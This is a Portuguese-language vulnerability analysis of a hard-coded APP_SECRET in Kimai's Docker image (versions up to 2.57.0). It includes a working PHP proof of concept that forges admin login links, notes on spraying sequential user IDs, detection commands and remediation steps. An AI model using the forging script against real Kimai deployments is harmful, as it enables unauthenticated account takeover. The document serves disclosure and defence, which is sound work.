
Análise técnica e PoC do CVE-2026-52824: APP_SECRET padrão na imagem Docker do Kimai que permite a falsificação de links de login sem autenticação. Afeta versões <= 2.57.0, corrigido na 2.58.0.
| Campo | Valor |
|---|
| CVE | CVE-2026-52824 |
| Aviso | GHSA-jr9p-4h4j-6c58 |
| Gravidade | Crítica |
| CWE | CWE-1188, Inicialização de um Recurso com um Padrão Inseguro |
| Afetados | kimai/kimai <= 2.57.0 |
| Corrigido | 2.58.0 |
| Aviso publicado | 2026-06-11 |
| Adicionado ao Banco de Dados de Avisos do GitHub | 2026-07-14 |
| Relator | AzureADTrent |
A imagem Docker oficial do Kimai era distribuída com um APP_SECRET codificado. Esse valor torna-se o kernel.secret do Symfony, que assina links de login, cookies de remember-me, URLs de redefinição de senha e tokens CSRF. Como a assinatura do link de login do Kimai cobria apenas o id do usuário, um atacante não autenticado que conhecesse o segredo poderia calcular um link de login válido offline e autenticar-se como qualquer usuário.
Dockerfile:263 definia:
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7 consome isso como kernel.secret:
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh não realizava nenhuma verificação do valor sentinela, e .env.dist:38 distribuía o mesmo padrão para instalações bare-metal. Nenhuma proteção de inicialização impedia a execução com o valor padrão.
Portanto, qualquer implantação Docker que não substituísse explicitamente o APP_SECRET era executada com uma chave de assinatura publicamente conhecida.
O Kimai consome o link de login em /en/auth/link/check com os parâmetros user, expires e hash. O hash é o HMAC de 44 caracteres concatenado diretamente com o hash de campos de 44 caracteres, correspondendo ao acceptSignatureHash(), que divide no deslocamento 44.
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
Uma requisição bem-sucedida retorna um 302 e define um cookie KIMAI_REMEMBER para a conta alvo.
O expires está dentro do HMAC e é controlado pelo atacante, e a validação apenas rejeita timestamps já no passado — verifySignatureHash() testa $expires < time() e nada mais. O lifetime: 900 configurado rege apenas a geração do link e nunca é consultado durante a validação, portanto um link forjado pode conter uma expiração arbitrariamente distante.
max_uses: 3 é igualmente irrelevante. Ele limita a reutilização de um único link emitido; um atacante gera um novo a cada tentativa.
O aviso lista três pré-condições: o nome de usuário é conhecido, o ID correto da conta é adivinhado e a conta não possui 2FA ativo.
Na prática, essas são fracas. Os IDs de usuário são sequenciais a partir de 1, o primeiro super_admin normalmente é o ID 1, e cada tentativa é um único GET não autenticado. Os nomes de usuário e o espaço de IDs podem ser alvo de spray. A autenticação de dois fatores é a única pré-condição que bloqueia o ataque de forma significativa.
Verificações locais:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
Um APP_SECRET sentinela sem a presença do arquivo .appsecret indica uma implantação vulnerável.
Atualize para a versão 2.58.0 ou posterior. A correção:
APP_SECRET padrão do Dockerfilebin2hex(random_bytes(32)), o armazena em /opt/kimai/var/data/.appsecret e o escreve em /opt/kimai/.env.localSe você não puder atualizar imediatamente, defina explicitamente um segredo exclusivo de alta entropia:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
A rotação do APP_SECRET invalida cookies de remember-me existentes, links pendentes de redefinição de senha e tokens CSRF em andamento; os usuários precisarão fazer login novamente. A rotação e a invalidação de sessão são seguras de executar independentemente de a exposição poder ser confirmada. Operadores que não conseguirem determinar seu estado devem rotacionar em vez de presumir.
projectdiscovery/nuclei-templatesEsta análise foi mantida em sigilo até que o mecanismo se tornasse público de forma independente.